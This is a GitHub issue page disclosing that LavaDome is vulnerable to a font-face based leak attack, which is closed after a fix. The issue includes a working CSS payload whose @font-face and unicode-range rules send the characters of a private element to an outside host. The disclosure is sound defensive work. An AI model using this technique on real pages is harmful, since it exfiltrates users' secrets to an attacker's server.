Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

LavaDome is vulnerable to font-face based leak attack #16

Closed
weizman opened this issue Jan 5, 2024 · 1 comment
Closed

LavaDome is vulnerable to font-face based leak attack #16

weizman opened this issue Jan 5, 2024 · 1 comment

Comments

@weizman
Copy link
Member

weizman commented Jan 5, 2024

Based on @masatokinugawa's research (introduced to me by @mhofman), the following attack can exfiltrate relevant chars of the secret (with order most of the time) to a remote server when added to the demo app:

<style>
    @font-face{
        font-family:attack;
        src:url('//l0.cm/?Found:A');
        unicode-range:U+0041;
    }
    @font-face{
        font-family:attack;
        src:url('//l0.cm/?Found:B');
        unicode-range:U+0042;
    }
    @font-face{
        font-family:attack;
        src:url('//l0.cm/?Found:C');
        unicode-range:U+0043;
    }
    #PRIVATE{
        font-family:attack;
    }
</style>
@weizman
Copy link
Member Author

weizman commented Jan 7, 2024

fixed #17

@weizman weizman closed this as completed Jan 7, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant